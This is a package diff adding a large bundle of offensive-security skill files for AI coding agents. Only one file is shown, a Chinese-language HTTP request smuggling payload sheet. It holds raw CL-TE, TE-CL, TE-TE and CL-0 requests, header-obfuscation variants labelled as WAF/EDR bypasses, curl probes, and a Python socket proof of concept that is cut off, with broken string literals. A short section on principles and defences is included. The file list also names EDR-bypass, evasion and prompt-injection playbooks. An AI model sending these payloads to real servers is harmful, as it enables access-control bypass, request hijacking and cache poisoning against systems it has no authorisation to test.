opencode-skills-collection 4.0.43 → 4.0.44
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,854 @@
|
|
|
1
|
+
# 请求走私
|
|
2
|
+
|
|
3
|
+
_4 条 web payload_
|
|
4
|
+
|
|
5
|
+
### CL-TE请求走私 `smuggling-cl-te`
|
|
6
|
+
_Content-Length与Transfer-Encoding走私_
|
|
7
|
+
子类:**CL-TE** · tags: `smuggling` `request` `http`
|
|
8
|
+
|
|
9
|
+
**前置条件:**
|
|
10
|
+
- 目标使用多层代理
|
|
11
|
+
- 前后端处理差异
|
|
12
|
+
|
|
13
|
+
**攻击链:**
|
|
14
|
+
|
|
15
|
+
**CL-TE基础**
|
|
16
|
+
> CL-TE走私
|
|
17
|
+
```
|
|
18
|
+
POST / HTTP/1.1
|
|
19
|
+
Host: target.com
|
|
20
|
+
Content-Length: 13
|
|
21
|
+
Transfer-Encoding: chunked
|
|
22
|
+
|
|
23
|
+
0
|
|
24
|
+
|
|
25
|
+
SMUGGLED
|
|
26
|
+
```
|
|
27
|
+
**语法解析:**
|
|
28
|
+
- `Content-Length` — 前端代理使用CL _header_
|
|
29
|
+
- `Transfer-Encoding` — 后端服务器使用TE _header_
|
|
30
|
+
|
|
31
|
+
**TE-CL基础**
|
|
32
|
+
> TE-CL走私
|
|
33
|
+
```
|
|
34
|
+
POST / HTTP/1.1
|
|
35
|
+
Host: target.com
|
|
36
|
+
Content-Length: 3
|
|
37
|
+
Transfer-Encoding: chunked
|
|
38
|
+
|
|
39
|
+
8
|
|
40
|
+
SMUGGLED
|
|
41
|
+
0
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
```
|
|
45
|
+
**语法解析:**
|
|
46
|
+
- `Transfer-Encoding` — 前端代理使用TE _header_
|
|
47
|
+
- `Content-Length` — 后端服务器使用CL _header_
|
|
48
|
+
|
|
49
|
+
**TE-TE**
|
|
50
|
+
> TE-TE走私
|
|
51
|
+
```
|
|
52
|
+
POST / HTTP/1.1
|
|
53
|
+
Host: target.com
|
|
54
|
+
Transfer-Encoding: chunked
|
|
55
|
+
Transfer-Encoding: x
|
|
56
|
+
|
|
57
|
+
0
|
|
58
|
+
|
|
59
|
+
SMUGGLED
|
|
60
|
+
```
|
|
61
|
+
**语法解析:**
|
|
62
|
+
- `Transfer-Encoding: x` — 混淆TE头 _header_
|
|
63
|
+
|
|
64
|
+
**WAF/EDR 绕过变体:**
|
|
65
|
+
|
|
66
|
+
**TE头混淆变体**
|
|
67
|
+
> 通过在Transfer-Encoding头中添加空格、制表符、换行符、多重头部、拼写变体等方式使前后端代理对该头的解析产生差异,触发请求走私
|
|
68
|
+
```
|
|
69
|
+
# TE头混淆(使前/后端对TE解析不一致):
|
|
70
|
+
Transfer-Encoding: chunked
|
|
71
|
+
|
|
72
|
+
Transfer-Encoding : chunked
|
|
73
|
+
|
|
74
|
+
Transfer-Encoding: xchunked
|
|
75
|
+
|
|
76
|
+
Transfer-Encoding: chunked
|
|
77
|
+
Transfer-Encoding: x
|
|
78
|
+
|
|
79
|
+
Transfer-Encoding:[tab]chunked
|
|
80
|
+
|
|
81
|
+
X: x
|
|
82
|
+
Transfer-Encoding: chunked
|
|
83
|
+
|
|
84
|
+
Transfer-Encoding
|
|
85
|
+
: chunked
|
|
86
|
+
```
|
|
87
|
+
**语法解析:**
|
|
88
|
+
- `# TE头混淆(使前/后端对TE解析不一致):` — 主要命令 _command_
|
|
89
|
+
- `...` — 共9行 _value_
|
|
90
|
+
|
|
91
|
+
**Chunked扩展字段与CL-TE组合利用**
|
|
92
|
+
> 利用HTTP Chunked编码的扩展字段(分号后内容)干扰解析,或通过CL-0技巧使前端认为请求无体而后端继续处理走私的第二个请求
|
|
93
|
+
```
|
|
94
|
+
# Chunked扩展字段(RFC允许的分号后扩展):
|
|
95
|
+
POST / HTTP/1.1
|
|
96
|
+
Host: target.com
|
|
97
|
+
Content-Length: 6
|
|
98
|
+
Transfer-Encoding: chunked
|
|
99
|
+
|
|
100
|
+
0;ext="injected"
|
|
101
|
+
|
|
102
|
+
G
|
|
103
|
+
|
|
104
|
+
# CL-0走私:
|
|
105
|
+
POST / HTTP/1.1
|
|
106
|
+
Host: target.com
|
|
107
|
+
Content-Length: 0
|
|
108
|
+
Transfer-Encoding: chunked
|
|
109
|
+
|
|
110
|
+
GET /admin HTTP/1.1
|
|
111
|
+
Host: target.com
|
|
112
|
+
|
|
113
|
+
|
|
114
|
+
```
|
|
115
|
+
**语法解析:**
|
|
116
|
+
- `# Chunked扩展字段(RFC允许的分号后扩展):` — 主要命令 _command_
|
|
117
|
+
- `...` — 共14行 _value_
|
|
118
|
+
|
|
119
|
+
|
|
120
|
+
**概述:** HTTP请求走私(CL-TE类型)利用前端服务器(如反向代理)和后端服务器对Content-Length和Transfer-Encoding头的不同优先级解析,将一个恶意请求"走私"到另一个正常请求中,实现绕过安全控制、请求劫持、缓存投毒等攻击效果
|
|
121
|
+
|
|
122
|
+
**漏洞原理:** HTTP/1.1规范允许Content-Length和Transfer-Encoding同时存在时,Transfer-Encoding优先。但不同服务器实现不一致:前端可能优先使用Content-Length确定请求边界,后端优先使用Transfer-Encoding。这种解析差异导致前端认为的一个请求在后端被拆分为两个请求
|
|
123
|
+
|
|
124
|
+
**利用方法:** 首先通过时序差异(Timing)技术探测是否存在CL-TE走私漏洞,构造包含Content-Length和Transfer-Encoding: chunked的请求,使前端按CL解析为一个完整请求转发,后端按TE解析后剩余部分成为下一个请求的前缀,然后利用走私的前缀实现请求劫持、绕过访问控制、窃取其他用户的请求数据
|
|
125
|
+
|
|
126
|
+
**防御措施:** 前后端统一使用HTTP/2协议避免解析歧义;配置前端代理规范化(Normalize)请求头,拒绝含有歧义头的请求;后端服务器配置拒绝同时包含Content-Length和Transfer-Encoding的请求;部署请求走私专用检测规则;使用端到端加密防止中间件篡改请求
|
|
127
|
+
|
|
128
|
+
---
|
|
129
|
+
|
|
130
|
+
### CL-CL走私 `smuggling-cl-cl`
|
|
131
|
+
_利用前端代理和后端服务器同时处理Content-Length头但对多个CL头的处理差异实现HTTP请求走私_
|
|
132
|
+
子类:**CL-CL** · tags: `smuggling` `cl-cl` `http`
|
|
133
|
+
|
|
134
|
+
**前置条件:**
|
|
135
|
+
- 存在前端代理(如HAProxy/Nginx)+后端服务器架构
|
|
136
|
+
- 两端对Content-Length头的解析存在差异
|
|
137
|
+
- 理解HTTP请求走私原理
|
|
138
|
+
|
|
139
|
+
**攻击链:**
|
|
140
|
+
|
|
141
|
+
**检测CL-CL走私条件**
|
|
142
|
+
> 探测目标是否存在双CL走私条件
|
|
143
|
+
_platform: linux_
|
|
144
|
+
```
|
|
145
|
+
# 检测前端代理类型:
|
|
146
|
+
curl -sI "http://target.com/" | grep -iE "server:|via:|x-forwarded"
|
|
147
|
+
|
|
148
|
+
# 发送包含两个Content-Length的请求:
|
|
149
|
+
curl -v "http://target.com/" -H "Content-Length: 6" -H "Content-Length: 0" -d "test12"
|
|
150
|
+
|
|
151
|
+
# 观察响应:
|
|
152
|
+
# - 如果正常返回: 可能只解析了一个CL
|
|
153
|
+
# - 如果400/错误: 服务器拒绝多CL(安全)
|
|
154
|
+
# - 如果部分处理: 存在走私可能
|
|
155
|
+
```
|
|
156
|
+
**语法解析:**
|
|
157
|
+
- `-H "Content-Length: 6"` — 第一个CL头,前端可能使用这个 _parameter_
|
|
158
|
+
- `-H "Content-Length: 0"` — 第二个CL头,后端可能使用这个 _parameter_
|
|
159
|
+
|
|
160
|
+
**CL-CL请求走私POC**
|
|
161
|
+
> 构造包含两个Content-Length的走私请求,将恶意请求注入到后端处理队列
|
|
162
|
+
```
|
|
163
|
+
# Python POC - CL-CL走私
|
|
164
|
+
import socket
|
|
165
|
+
|
|
166
|
+
def smuggle_cl_cl(host, port):
|
|
167
|
+
payload = (
|
|
168
|
+
"POST / HTTP/1.1
|
|
169
|
+
"
|
|
170
|
+
f"Host: {host}
|
|
171
|
+
"
|
|
172
|
+
"Content-Length: 44
|
|
173
|
+
" # 前端使用这个CL
|
|
174
|
+
"Content-Length: 0
|
|
175
|
+
" # 后端使用这个CL
|
|
